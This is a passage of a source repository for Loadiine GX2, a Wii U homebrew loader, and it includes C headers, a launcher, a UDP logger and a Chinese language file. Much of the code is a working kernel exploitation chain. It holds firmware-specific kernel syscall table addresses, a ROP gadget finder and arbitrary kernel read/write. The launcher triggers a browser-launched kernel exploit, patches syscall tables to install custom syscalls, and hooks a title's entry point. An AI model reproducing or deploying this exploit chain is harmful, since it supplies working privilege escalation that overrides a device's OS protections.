#define KERN_DRVPTR 0x00000000
#elif VER == 310
#define KERN_SYSCALL_TBL 0xFFE85950
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB66E4
#define KERN_DRVPTR 0x00000000
#elif VER == 400
#define KERN_SYSCALL_TBL 0xFFE85890
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB7E5C
#define KERN_DRVPTR 0x00000000
#elif VER == 410
#define KERN_SYSCALL_TBL 0xffe85890
#define KERN_CODE_READ 0xfff02214
#define KERN_CODE_WRITE 0xfff02234
#define KERN_ADDRESS_TBL 0xffeb902c
#define KERN_DRVPTR 0x00000000
#elif VER == 500
#define KERN_SYSCALL_TBL 0xffea9520
#define KERN_CODE_READ 0xfff021f4
#define KERN_CODE_WRITE 0xfff02214
#define KERN_ADDRESS_TBL 0xffea9e4c
#define KERN_DRVPTR 0x00000000
#elif (VER == 532) || (VER == 540)
#define KERN_SYSCALL_TBL 0xFFEAA0E0
#define KERN_CODE_READ 0xFFF02274
#define KERN_CODE_WRITE 0xFFF02294
#define KERN_ADDRESS_TBL 0xFFEAAA10
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
#elif VER == 550
#define KERN_SYSCALL_TBL 0xFFEAAE60
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_ADDRESS_TBL 0xFFEAB7A0
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
#else
#error "Unsupported Wii U software version"
#endif
/* Browser PFID */
#define PFID_BROWSER 8
/* Kernel heap constants */
#define STARTID_OFFSET 0x08
#define METADATA_OFFSET 0x14
#define METADATA_SIZE 0x10
/* Size of a Cafe OS thread */
#define OSTHREAD_SIZE 0x1000
void run_kexploit(private_data_t *private_data);
/* Find a ROP gadget by a sequence of bytes */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start);
/* Arbitrary read and write syscalls */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr);
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);
#endif /* KEXPLOIT_H */
================================================
FILE: installer/launcher.c
================================================
#include "types.h"
#include "elf_abi.h"
#include "kexploit.h"
#include "structs.h"
#include "sd_loader.h"
#define MEM_BASE 0xC0800000
#include "../src/common/common.h"
#include "../src/common/os_defs.h"
#include "coreinit.h"
//! this shouldnt depend on OS
#define LIB_CODE_RW_BASE_OFFSET 0xC1000000
#define CODE_RW_BASE_OFFSET 0xC0000000
#define DATA_RW_BASE_OFFSET 0xC0000000
#if ( (VER == 532) || (VER == 540) )
#define ADDRESS_OSTitle_main_entry_ptr 0x1005d180
#define ADDRESS_main_entry_hook 0x0101c55c
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEA9CE0 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL)
#elif ( (VER == 500) || (VER == 510) )
#define ADDRESS_OSTitle_main_entry_ptr 0x1005CB00
#define ADDRESS_main_entry_hook 0x0101C15C
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEA9120 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEA9520 // works with browser (previously KERN_SYSCALL_TBL)
#elif (VER == 550)
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
#define ADDRESS_main_entry_hook 0x0101c56c
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
#elif (VER == 410)
#define ADDRESS_OSTitle_main_entry_ptr 0x1005A8C0
#define ADDRESS_main_entry_hook 0x0101BD4C
#define KERN_SYSCALL_TBL_1 0xFFE84C90
#define KERN_SYSCALL_TBL_2 0xFFE85090
#define KERN_SYSCALL_TBL_3 0xFFE85C90
#define KERN_SYSCALL_TBL_4 0xFFE85490
#define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser
#elif (VER == 400)
#define ADDRESS_OSTitle_main_entry_ptr 0x1005A600
#define ADDRESS_main_entry_hook 0x0101BD4C
#define KERN_SYSCALL_TBL_1 0xFFE84C90
#define KERN_SYSCALL_TBL_2 0xFFE85090
#define KERN_SYSCALL_TBL_3 0xFFE85C90
#define KERN_SYSCALL_TBL_4 0xFFE85490
#define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser
#elif ( (VER == 300) || (VER == 310) )
#define ADDRESS_OSTitle_main_entry_ptr 0x1005BBC0
#define ADDRESS_main_entry_hook 0x0101894C // used OSDynLoad_Acquire 0x01022CBC from libwiiu to calculate
#define KERN_SYSCALL_TBL_1 0xFFE84D50
#define KERN_SYSCALL_TBL_2 0xFFE85150
#define KERN_SYSCALL_TBL_3 0xFFE85D50 // comes after KERN_SYSCALL_TBL_5
#define KERN_SYSCALL_TBL_4 0xFFE85550
#define KERN_SYSCALL_TBL_5 0xFFE85950
#else
#error Please define valid values for firmware.
#endif // VER
#define ROOTRPX_DBAT0U_VAL 0xC00003FF
#define COREINIT_DBAT0U_VAL 0xC20001FF
#if (VER >= 410)
#define ROOTRPX_DBAT0L_VAL 0x30000012
#define COREINIT_DBAT0L_VAL 0x32000012
#elif (VER <= 400)
#define ROOTRPX_DBAT0L_VAL 0x4E000012
#define COREINIT_DBAT0L_VAL 0x4D000012
#else
#error Please define valid values for firmware.
#endif
/* Install functions */
static void InstallMain(private_data_t *private_data);
static void InstallPatches(private_data_t *private_data);
static void ExitFailure(private_data_t *private_data, const char *failure);
static int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address);
static void thread_callback(int argc, void *argv);
static void SetupKernelSyscall(unsigned int addr);
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
/* assembly functions */
extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len);
extern void Syscall_0x36(void);
extern void KernelPatches(void);
/* ****************************************************************** */
/* ENTRY POINT */
/* ****************************************************************** */
void __main(void)
{
/* Get coreinit handle and keep it in memory */
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
/* Get our memory functions */
unsigned int* functionPointer;
void* (*memset)(void * dest, unsigned int value, unsigned int bytes);
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
private_data_t private_data;
memset(&private_data, 0, sizeof(private_data_t));
private_data.coreinit_handle = coreinit_handle;
private_data.memset = memset;
private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit);
if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0)
{
run_kexploit(&private_data);
}
else
{
/* Get functions to send restart signal */
int(*IM_Open)();
int(*IM_Close)(int fd);
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
void*(*OSAllocFromSystem)(unsigned int size, int align);
void(*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
/* Send restart signal to get rid of uneeded threads */
/* Cause the other browser threads to exit */
int fd = IM_Open();
void *mem = OSAllocFromSystem(0x100, 64);
if(!mem)
ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser.");
private_data.memset(mem, 0, 0x100);
/* Sets wanted flag */
IM_SetDeviceState(fd, mem, 3, 0, 0);
IM_Close(fd);
OSFreeToSystem(mem);
/* Waits for thread exits */
unsigned int t1 = 0x1FFFFFFF;
while(t1--) ;
/* restore kernel memory table to original state */
kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0);
kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000);
}
/* Prepare for thread startups */
int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr);
int (*OSResumeThread)(void *thread);
int (*OSIsThreadTerminated)(void *thread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
/* Allocate a stack for the thread */
/* IMPORTANT: libcurl uses around 0x1000 internally so make
sure to allocate more for the stack to avoid crashes */
void *stack = private_data.MEMAllocFromDefaultHeapEx(0x4000, 0x20);
/* Create the thread variable */
void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8);
if(!thread || !stack)
ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser.");
// the thread stack is too small on current thread, switch to an own created thread
// create a detached thread with priority 0 and use core 1
int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A);
if (ret == 0)
ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser.");
/* Schedule it for execution */
OSResumeThread(thread);
// Keep this main thread around for ELF loading
// Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate
while(OSIsThreadTerminated(thread) == 0)
{
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
}
/* setup kernel copy data syscall */
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)KernelCopyData);
/* Install our code now */
InstallMain(&private_data);
/* setup our own syscall and call it */
SetupKernelSyscall((unsigned int)KernelPatches);
Syscall_0x36();
/* Patch functions and our code for usage */
InstallPatches(&private_data);
/* Free thread memory and stack */
private_data.MEMFreeToDefaultHeap(thread);
private_data.MEMFreeToDefaultHeap(stack);
//! we are done -> exit browser now
private_data._Exit();
}
void ExitFailure(private_data_t *private_data, const char *failure)
{
/************************************************************************/
// Prepare screen
void (*OSScreenInit)();
unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
// Prepare screen
int screen_buf0_size = 0;
int screen_buf1_size = 0;
unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;
// Init screen and screen buffers
OSScreenInit();
screen_buf0_size = OSScreenGetBufferSizeEx(0);
screen_buf1_size = OSScreenGetBufferSizeEx(1);
OSScreenSetBufferEx(0, (void *)0xF4000000);
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
// Clear screens
OSScreenClearBufferEx(0, screen_color);
OSScreenClearBufferEx(1, screen_color);
// Flush the cache
private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size);
private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);
// Flip buffers
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
OSScreenPutFontEx(1, 0, 0, failure);
OSScreenFlipBuffersEx(1);
OSScreenClearBufferEx(1, 0);
unsigned int t1 = 0x3FFFFFFF;
while(t1--) asm volatile("nop");
private_data->_Exit();
}
/* *****************************************************************************
* Base functions
* ****************************************************************************/
static void SetupKernelSyscall(unsigned int address)
{
// Add syscall #0x36
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), address);
// make kern_read/kern_write available in all places
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE);
}
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
{
/*
* Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section
*/
register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l;
// setup mapping based on target address
if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address
{
target_dbat0u = ROOTRPX_DBAT0U_VAL;
target_dbat0l = ROOTRPX_DBAT0L_VAL;
}
else if ((addr >= 0xC2000000) && (addr < 0xC3000000))
{
target_dbat0u = COREINIT_DBAT0U_VAL;
target_dbat0l = COREINIT_DBAT0L_VAL;
}
// save the original DBAT value
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u));
asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l));
asm volatile("eieio; isync");
unsigned char *src_p = (unsigned char*)src;
unsigned char *dst_p = (unsigned char*)addr;
unsigned int i;
for(i = 0; i < len; i++)
{
dst_p[i] = src_p[i];
}
unsigned int flushAddr = addr & ~31;
while(flushAddr < (addr + len))
{
asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr));
flushAddr += 0x20;
}
/*
* Restore original DBAT value
*/
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
asm volatile("eieio; isync");
}
static void thread_callback(int argc, void *argv)
{
/* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */
unsigned int sysapp_handle;
void (*_SYSLaunchMiiStudio)(void) = 0;
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio);
_SYSLaunchMiiStudio();
}
static int strcmp(const char *s1, const char *s2)
{
while(*s1 && *s2)
{
if(*s1 != *s2) {
return -1;
}
s1++;
s2++;
}
if(*s1 != *s2) {
return -1;
}
return 0;
}
static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
if ( !data
|| !IS_ELF (*ehdr)
|| (ehdr->e_type != ET_EXEC)
|| (ehdr->e_machine != EM_PPC))
{
ExitFailure(private_data, "Invalid elf file");
}
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
int i;
for(i = 0; i < ehdr->e_shnum; i++)
{
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if(strcmp(section_name, name) == 0)
{
if(addr)
*addr = shdr[i].sh_addr;
if(size)
*size = shdr[i].sh_size;
return shdr[i].sh_offset;
}
}
if(fail_on_not_found)
ExitFailure(private_data, (char*)name);
return 0;
}
/* ****************************************************************** */
/* INSTALL MAIN CODE */
/* ****************************************************************** */
static void InstallMain(private_data_t *private_data)
{
// get .text section
unsigned int main_text_addr = 0;
unsigned int main_text_len = 0;
unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1);
unsigned char *main_text = private_data->data_elf + section_offset;
/* Copy main .text to memory */
if(section_offset > 0)
SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len);
// get the .rodata section
unsigned int main_rodata_addr = 0;
unsigned int main_rodata_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0);
if(section_offset > 0)
{
unsigned char *main_rodata = private_data->data_elf + section_offset;
/* Copy main rodata to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len);
}
// get the .data section
unsigned int main_data_addr = 0;
unsigned int main_data_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0);
if(section_offset > 0)
{
unsigned char *main_data = private_data->data_elf + section_offset;
/* Copy main data to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len);
}
// get the .bss section
unsigned int main_bss_addr = 0;
unsigned int main_bss_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0);
if(section_offset > 0)
{
unsigned char *main_bss = private_data->data_elf + section_offset;
/* Copy main data to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len);
}
}
/* ****************************************************************** */
/* INSTALL PATCHES */
/* All OS specific stuff is done here */
/* ****************************************************************** */
static void InstallPatches(private_data_t *private_data)
{
OsSpecifics osSpecificFunctions;
private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics));
unsigned int bufferU32;
/* Pre-setup a few options to defined values */
bufferU32 = VER;
SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32));
bufferU32 = 0xDEADC0DE;
SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32));
SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32));
bufferU32 = 0;
SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32));
unsigned int jump_main_hook = 0;
osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire;
osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport;
osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1;
osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2;
osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3;
osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4;
osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5;
//! pointer to main entry point of a title
osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr;
SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics));
//! at this point we dont need to check header and stuff as it is sure to be OK
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf;
unsigned int mainEntryPoint = ehdr->e_entry;
//! Install our entry point hook
unsigned int repl_addr = ADDRESS_main_entry_hook;
unsigned int jump_addr = mainEntryPoint & 0x03fffffc;
bufferU32 = 0x48000003 | jump_addr;
SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32));
// flush caches and invalidate instruction cache
private_data->ICInvalidateRange((void*)(repl_addr), 4);
}
================================================
FILE: installer/logger.c
================================================
#include
#include
#include
#include
#include
#include "common/common.h"
#include "dynamic_libs/socket_functions.h"
#include "logger.h"
static int log_socket = 0;
void log_init(void)
{
if(log_socket > 0)
return;
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (log_socket < 0)
return;
struct sockaddr_in connect_addr;
memset(&connect_addr, 0, sizeof(connect_addr));
connect_addr.sin_family = AF_INET;
connect_addr.sin_port = 4405;
inet_aton("192.168.0.44", &connect_addr.sin_addr);
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
{
socketclose(log_socket);
log_socket = -1;
}
}
void log_print(const char *str)
{
// socket is always 0 initially as it is in the BSS
if(log_socket <= 0) {
log_init();
return;
}
int len = strlen(str);
int ret;
while (len > 0) {
ret = send(log_socket, str, len, 0);
if(ret < 0)
return;
len -= ret;
str += ret;
}
}
void log_printf(const char *format, ...)
{
if(log_socket <= 0) {
log_init();
return;
}
char * tmp = NULL;
va_list va;
va_start(va, format);
if((vasprintf(&tmp, format, va) >= 0) && tmp)
{
log_print(tmp);
}
va_end(va);
if(tmp)
free(tmp);
}
================================================
FILE: installer/logger.h
================================================
#ifndef __LOGGER_H_
#define __LOGGER_H_
#ifdef __cplusplus
extern "C" {
#endif
/* Communication bytes with the server */
// Com
#define BYTE_NORMAL 0xff
#define BYTE_SPECIAL 0xfe
#define BYTE_OK 0xfd
#define BYTE_PING 0xfc
#define BYTE_LOG_STR 0xfb
#define BYTE_DISCONNECT 0xfa
// SD
#define BYTE_MOUNT_SD 0xe0
#define BYTE_MOUNT_SD_OK 0xe1
#define BYTE_MOUNT_SD_BAD 0xe2
// Replacement
#define BYTE_STAT 0x00
#define BYTE_STAT_ASYNC 0x01
#define BYTE_OPEN_FILE 0x02
#define BYTE_OPEN_FILE_ASYNC 0x03
#define BYTE_OPEN_DIR 0x04
#define BYTE_OPEN_DIR_ASYNC 0x05
#define BYTE_CHANGE_DIR 0x06
#define BYTE_CHANGE_DIR_ASYNC 0x07
#define BYTE_MAKE_DIR 0x08
#define BYTE_MAKE_DIR_ASYNC 0x09
#define BYTE_RENAME 0x0A
#define BYTE_RENAME_ASYNC 0x0B
#define BYTE_REMOVE 0x0C
#define BYTE_REMOVE_ASYNC 0x0D
// Log
#define BYTE_CLOSE_FILE 0x40
#define BYTE_CLOSE_FILE_ASYNC 0x41
#define BYTE_CLOSE_DIR 0x42
#define BYTE_CLOSE_DIR_ASYNC 0x43
#define BYTE_FLUSH_FILE 0x44
#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45
#define BYTE_GET_LAST_ERROR 0x46
#define BYTE_GET_MOUNT_SOURCE 0x47
#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48
#define BYTE_GET_POS_FILE 0x49
#define BYTE_SET_POS_FILE 0x4A
#define BYTE_GET_STAT_FILE 0x4B
#define BYTE_EOF 0x4C
#define BYTE_READ_FILE 0x4D
#define BYTE_READ_FILE_ASYNC 0x4E
#define BYTE_READ_FILE_WITH_POS 0x4F
#define BYTE_READ_DIR 0x50
#define BYTE_READ_DIR_ASYNC 0x51
#define BYTE_GET_CWD 0x52
#define BYTE_SET_STATE_CHG_NOTIF 0x53
#define BYTE_TRUNCATE_FILE 0x54
#define BYTE_WRITE_FILE 0x55
#define BYTE_WRITE_FILE_WITH_POS 0x56
#define BYTE_SAVE_INIT 0x57
#define BYTE_SAVE_SHUTDOWN 0x58
#define BYTE_SAVE_INIT_SAVE_DIR 0x59
#define BYTE_SAVE_FLUSH_QUOTA 0x5A
#define BYTE_SAVE_OPEN_DIR 0x5B
#define BYTE_SAVE_REMOVE 0x5C
#define BYTE_CREATE_THREAD 0x60
int logger_connect(int *socket);
void logger_disconnect(int socket);
void log_string(int sock, const char* str, char byte);
void log_byte(int sock, char byte);
void log_init(void);
void log_print(const char *str);
void log_printf(const char *format, ...);
#ifdef __cplusplus
}
#endif
#endif
================================================
FILE: installer/socket.h
================================================
#define AF_INET 2
#define SOCK_STREAM 1
#define IPPROTO_TCP 6
struct in_addr
{
unsigned long s_addr;
};
struct sockaddr
{
unsigned short sin_family;
unsigned short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
/* IP address of the RPC client (in this case, 192.168.1.9) */
#define PC_IP ( (192<<24) | (168<<16) | (1<<8) | (9<<0) )
================================================
FILE: installer/structs.h
================================================
#ifndef STRUCTS_H
#define STRUCTS_H
typedef struct {
unsigned char *data;
int len;
int alloc_size;
void* (*memcpy)(void * dest, const void * src, int num);
} file_struct_t;
typedef struct {
unsigned char *data_elf;
unsigned int coreinit_handle;
/* function pointers */
void* (*memcpy)(void * dest, const void * src, int num);
void* (*memset)(void * dest, unsigned int value, unsigned int bytes);
void* (*OSEffectiveToPhysical)(const void*);
void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
void (*MEMFreeToDefaultHeap)(void *ptr);
void (*DCFlushRange)(const void *addr, unsigned int length);
void (*ICInvalidateRange)(const void *addr, unsigned int length);
void (*_Exit)(void);
void* (*curl_easy_init)(void);
void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op);
int (*curl_easy_perform)(void *handle);
void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op);
void (*curl_easy_cleanup)(void *handle);
} private_data_t;
#endif // STRUCTS_H
================================================
FILE: installer/types.h
================================================
#ifndef TYPES_H
#define TYPES_H
typedef unsigned long long uint64_t;
typedef long long int64_t;
typedef unsigned int uint32_t;
typedef int int32_t;
typedef unsigned short uint16_t;
typedef short int16_t;
typedef unsigned char uint8_t;
typedef char int8_t;
typedef uint32_t size_t;
typedef _Bool bool;
#define true 1
#define false 0
#define null 0
#define NULL (void*)0
#endif /* TYPES_H */
================================================
FILE: languages/chinese.lang
================================================
# Loadiine GX2 language source file.
# chinese.lang - v0.34
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: kavid by 91wii.com \n"
"Language-Team: 91wii.com\n"
"Language: Simplified Chinese\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr "Loadiine GX2"
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "官方网站"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "代码编写:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "界面设计:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "有些人不想被提到名字。"
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr "测试者:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight 等等更多人"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "参与人员:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "基于:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0作者Golden45和Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "强烈感谢:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar的GameTDB与提供的封面和光盘封面"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1开发的内核破解程序"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "还有libwiiu小组和其他人所做出贡献"
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr "扩展存档:"
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr "启用DLC支持:"
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr "更新文件夹"
